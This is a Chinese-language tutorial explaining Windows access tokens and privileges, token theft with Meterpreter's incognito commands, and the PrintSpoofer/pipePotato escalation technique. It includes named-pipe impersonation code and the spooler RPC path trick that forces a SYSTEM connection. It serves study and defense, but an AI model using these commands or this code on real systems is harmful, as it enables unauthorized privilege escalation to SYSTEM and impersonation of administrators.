1.Window Token简介
1.1 什么是Windows Token
windwos安全模型中,有两个角色,一个就是访问者(进程),一个是被访问者(资源)。资源是一个广义的概念,所谓的资源
可以是文件,目录,注册表,管道,命名句柄,进程,线程。每个资源都有一个安全描述符
,安全描述符当中包含了ACL(访问控制列表)
。而这个访问控制列表中每条规则都对应记录着一个SID被允许和拒绝的操作(如读、写、执行)。访问者为了访问某一个资源,显然也需要一个身份的证明,也就是所谓的Token。
1.2 Token内容
Token主要包含如下信息,Windows官方提供的与Token相关的信息:
- 1.用户账户的Sid;
- 2.用户所属组的Sid;
- 3.标识当前登陆会话的SID;
- 4.用户和用户组特权列表;这个用户特权非常重要!!!
- 5.当前Token拥有者的SID
- 6.primary group的SID
- 7.用户创建的进程的默认DACL;
- 8.access token类型和来源;
- 9.其他信息;
1.2 Windows Token的分类
Windows Token分为了如下两种类型:
名称 | 注释 | 用途 |
---|---|---|
Delegation token |
授权令牌 | 用于交互会话登录(例如本地用户直接登录、远程桌面登录) |
Impersonation token |
模拟令牌 | 用于非交互登录(利用net use访问共享文件夹) |
注意:
- 一个用户登录了主机后获得了授权令牌,在他注销以后该令牌并不会被删除。而是从授权令牌退化为了模拟令牌,这也就是为什么域内某台主机上如果域管用户登录过就能拿到域管权限。
- 以上两种令牌仅在系统重启后销毁。
2.用户(进程/线程)特权列表
Windows用户一般分为标准用户(非管理员普通用户)
、UAC(管理员)
、SYSTEM
、LOCAL SERVICE
、NETWORK SERVICE
。每一个用户都有不通的特权,我们可以使用如下命令查看当前用户的用户信息
、组信息
、特权信息
:
C:\Users\Administrator>whoami /all 用户信息 ---------------- 用户名 SID ============================= ============================================= win-2agulf2vmte\administrator S-1-5-21-2979668396-2935661377-1204581961-500 组信息 ----------------- 组名 类型 SID 属性 ==================================== ====== ============ ======================= =================== Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组 NT AUTHORITY\本地帐户和管理员组成员 已知组 S-1-5-114 必需的组, 启用于默认, 启用的组 BUILTIN\Administrators 别名 S-1-5-32-544 必需的组, 启用于默认, 启用的组, 组的所有者 BUILTIN\Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组 NT AUTHORITY\INTERACTIVE 已知组 S-1-5-4 必需的组, 启用于默认, 启用的组 CONSOLE LOGON 已知组 S-1-2-1 必需的组, 启用于默认, 启用的组 NT AUTHORITY\Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组 NT AUTHORITY\This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组 NT AUTHORITY\本地帐户 已知组 S-1-5-113 必需的组, 启用于默认, 启用的组 LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组 NT AUTHORITY\NTLM Authentication 已知组 S-1-5-64-10 必需的组, 启用于默认, 启用的组 Mandatory Label\High Mandatory Level 标签 S-1-16-12288 特权信息 注意!!!这里的这些特权信息,显示出来的我们就有权利去把它从已禁用状态改成以启用,但是如果是没有显示的一些特权则是没有权限更改的 ---------------------- 特权名 描述 状态 =============================== ========================== ====== SeIncreaseQuotaPrivilege 为进程调整内存配额 已禁用 SeSecurityPrivilege 管理审核和安全日志 已禁用 SeTakeOwnershipPrivilege 取得文件或其他对象的所有权 已禁用 SeLoadDriverPrivilege 加载和卸载设备驱动程序 已禁用 SeSystemProfilePrivilege 配置文件系统性能 已禁用 SeSystemtimePrivilege 更改系统时间 已禁用 SeProfileSingleProcessPrivilege 配置文件单一进程 已禁用 SeIncreaseBasePriorityPrivilege 提高计划优先级 已禁用 SeCreatePagefilePrivilege 创建一个页面文件 已禁用 SeBackupPrivilege 备份文件和目录 已禁用 SeRestorePrivilege 还原文件和目录 已禁用 SeShutdownPrivilege 关闭系统 已禁用 SeDebugPrivilege 调试程序 已禁用 SeSystemEnvironmentPrivilege 修改固件环境值 已禁用 SeChangeNotifyPrivilege 绕过遍历检查 已启用 SeRemoteShutdownPrivilege 从远程系统强制关机 已禁用 SeUndockPrivilege 从扩展坞上取下计算机 已禁用 SeManageVolumePrivilege 执行卷维护任务 已禁用 SeImpersonatePrivilege 身份验证后模拟客户端 已启用 SeCreateGlobalPrivilege 创建全局对象 已启用 SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用 SeTimeZonePrivilege 更改时区 已禁用 SeCreateSymbolicLinkPrivilege 创建符号链接 已禁用
上述的特权信息具体的说明可以参考:微软官方Privilege Constants (Authorization)文档
3.Windows Token的窃取
3.1 incognito
meterpreter当中已经内置了incognito,使用的时候只需要load一下即可。需要注意的是,incognito必须在system权限下使用。常用的用法如下:
- 加载incognito:
load incognito
- 列举用户Token:
list_tokens -u
- 盗取指定用户token:
impersonate_token "JUS4FUN\Administrator"
- 从进程中窃取token:
steal_token 进程PID
- 放弃得到的token
rev2self
3.2 和Token利用相关的Api
和Token利用相关的Api主要是CreateProcessWithToken
(需要SeImpersonatePrivilege )和CreateProcessAsUser
(需要SeAssignPrimaryTokenPrivilege)。使用这两个函数可以帮助我们以一个别的权限的用户身份去创建一个进程。二者的函数原型如下,具体参数信息可以参考文档CreateProcessWithTokenW文档和CreateProcessAsUserW文档:
BOOL CreateProcessWithTokenW( HANDLE hToken, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation ); BOOL CreateProcessAsUserW( HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation );
4.利用Windows Token提权
4.1 pipePotato提权漏洞
从上面的内容中我们知道事实上和Windows权限相关的最重要的就是进程的Token,Token标志着一个进程所拥有的各种权限描述信息,是一个和安全相关非常重要的结构体。很显然处于安全考虑,Token结构体是存储在Ring0的。而事实上,进程的Token就保存在EPROCESS
结构体的0xc8
处。具体可参考二进制入门学习笔记-19.Windows 进程与线程。
由于权限检测依赖于Token,因此只要能获取到别的进程的Token我们就可以获取到它所对应的全部权限。但是作为一个低权限进程,我们显然没办法去读高权限进程的Token。但天无绝人之路,系统中的高权限进程往往很多是服务,这些服务经常会预留RPC
、COM
等用于给其他进程提供服务的接口。但因为这些接口存在一定的安全问题,也为提权/ByPassAV(如调Lsass进程的RPC Dump内存绕过杀毒软件监控)提供了一定的便利。以下为pipePotato提权漏洞
的原理,具体内容参考自PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019 一文。
4.1.1 权限检测
这种方法依赖于CreateProcessWithToken
(需要SeImpersonatePrivilege:认证后派生一个client 的权限)和CreateProcessAsUser
(需要SeAssignPrimaryTokenPrivilege:替换进程级别的权限),两个函数有一个能用就可以。查看特权方法还是whoami /all
命令即可。
4.1.2 利用ImpersonateNamedPipeClient派生高权限客户端
Potato
系列的提权工具都是基于一个思路开发的,本质上是一种中间人攻击,即“迫使具有System权限的进程主动向某个受控TCP终端发起NTML认证请求,然后重放请求实现认证”,整体步骤分为三步:
- 1.使用例如RPC调用等方法迫使一个有System权限的进程向一个被我们控制的TCP终端发起NTLM认证请求
- 2.调用
AcquireCredentialsHandle()
、AcceptSecurityContext()
等API以ALPC(Advanced Local Procedure Call)的方式转发认证请求给lsass.exe
进程,最终获得System的Token。 - 3.使用System的Token模拟客户端
这里作者提出的方法是使用Pipe
来实现这个过程,pipe主要分为两种,一种是Anonymous Pipes
还有一种是Named Pipes
(Pipe官方参考文档):
Anonymous pipes
:匿名管道主要用于在父进程和子进程直接进行通信Named pipes
:命名管道是有名字的。任何一个进程在通过安全检查后,都可以成为命名管道的服务端或者客户端。
简单来说,利用pipe捕获Token过程主要利用的就是ImpersonateNamedPipeClient
这个函数。这个函数的主要功能是会派生一个named-pipe client application
。也就是调用这个函数,可以模拟一个别的用户的安全上下文
(简单来说也就是权限)。而这个函数最有意思的地方就是这里:
如图,参考自ImpersonateNamedPipeClient官方文档,最后一次从pipe读到的内容是谁写的,派生出来的client就是谁的权限。
因此,这里作者给出的方法流程如下:
调用CreateNamedPipe()创建一个命名管道
->调用ConnectNamedPipe()接受该命名请求连接
->迫使高权限进程连接该命名管道并写入数据
->调用ImpersonateNamedPipeClient()派生一个高权限进程的client
作者给出的完整代码如下:
HANDLE hPipe = INVALID_HANDLE_VALUE; LPWSTR pwszPipeName = argv[1]; SECURITY_DESCRIPTOR sd = { 0 }; SECURITY_ATTRIBUTES sa = { 0 }; HANDLE hToken = INVALID_HANDLE_VALUE; if (!InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION)) { wprintf(L"InitializeSecurityDescriptor() failed. Error: %d - ", GetLastError()); PrintLastErrorAsText(GetLastError()); return -1; } if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;OICI;GA;;;WD)", SDDL_REVISION_1, &((&sa)->lpSecurityDescriptor), NULL)) { wprintf(L"ConvertStringSecurityDescriptorToSecurityDescriptor() failed. Error: %d - ", GetLastError()); PrintLastErrorAsText(GetLastError()); return -1; } //上面这些代码主要是初始化创建命名管道时需要的安全描述符,也就是下面这个sa参数 if ((hPipe = CreateNamedPipe(pwszPipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 2048, 2048, 0, &sa)) != INVALID_HANDLE_VALUE)//创建一个命名管道 { wprintf(L"[*] Named pipe '%ls' listening...\n", pwszPipeName); ConnectNamedPipe(hPipe, NULL); //等待连接,在有连接之前这个线程就会停在这里,不会执行下面的代码 wprintf(L"[+] A client connected!\n"); if (ImpersonateNamedPipeClient(hPipe)) {//高权限进程向这个命名管道写的数据被读了之后上面的暂停就会解开,执行到这里,就会派生一个高权限client if (OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &hToken)) { PrintTokenUserSidAndName(hToken); PrintTokenImpersonationLevel(hToken); PrintTokenType(hToken); DoSomethingAsImpersonatedUser(); CloseHandle(hToken); } else { wprintf(L"OpenThreadToken() failed. Error = %d - ", GetLastError()); PrintLastErrorAsText(GetLastError()); } } else { wprintf(L"ImpersonateNamedPipeClient() failed. Error = %d - ", GetLastError()); PrintLastErrorAsText(GetLastError()); } CloseHandle(hPipe); } else { wprintf(L"CreateNamedPipe() failed. Error: %d - ", GetLastError()); PrintLastErrorAsText(GetLastError()); }
4.1.3 迫使高权限进程访问pipe
简单来说是利用了[MS-RPRN]: Print System Remote Protocol RPC interface
(打印机服务的RPC接口)的RpcRemoteFindFirstPrinterChangeNotificationEx
去迫使一台主机向另一台主机发起认证请求。该函数声明如下:
DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( //创造一个通知对象并发送给客户端 /* [in] */ PRINTER_HANDLE hPrinter, /* [in] */ DWORD fdwFlags, /* [in] */ DWORD fdwOptions, /* [unique][string][in] */ wchar_t *pszLocalMachine, /* [in] */ DWORD dwPrinterLocal, /* [unique][in] */ RPC_V2_NOTIFY_OPTIONS *pOptions) //参考:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/eb66b221-1c1f-4249-b8bc-c5befec2314d
这个函数的主要作用就是创造一个通知对象然后发生给客户端,当然通知对象是什么我们不关心,这里最重要的是发生给客户端的信息传输方式。非常凑巧的是这里数据通信方式用的就是named pipe
。假如我们创建一个通知对象对象,具体发送给哪个主机取决于hPrinter
这个参数。这个参数一般是通过RpcAddPrinter
、 RpcAddPrinterEx
、, RpcOpenPrinter
、RpcOpenPrinterEx
等函数创建出来的一个对象。以RpcAddPrinter
为例,该函数声明如下:
DWORD RpcAddPrinter( [in, string, unique] STRING_HANDLE pName,//这个参数就是哪个要连接的对象的名字,这个名字可以是DNS、NetBIOS、IPv4、IPv6、UNC、RPC。 [in] PRINTER_CONTAINER* pPrinterContainer, [in] DEVMODE_CONTAINER* pDevModeContainer, [in] SECURITY_CONTAINER* pSecurityContainer, [out] PRINTER_HANDLE* pHandle ); //参考:https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/bd0bb8d5-26fd-4705-81f5-614d32b9f38f
默认假如写个localhost时通知对象发送到了\\localhost\pipe\spoolss
。但是这个管道无法控制,而且pName
参数又不能加\\
,一旦加了将无法通过该函数的名称检测。然后又是一个非常巧妙的技巧。这里不能用反斜杠,但是可以用正斜杠/
代替,可以通过路径检测而且在建立pipe连接的时候正斜杠会被替换成反斜杠!!!例如传入pName
参数为\\DESKTOP-RTFONKM/pipe/foo123
最终发起的pipe连接为\\DESKTOP-RTFONKM\pipe\foo123\pipe\spoolss
。至此整个流程打通。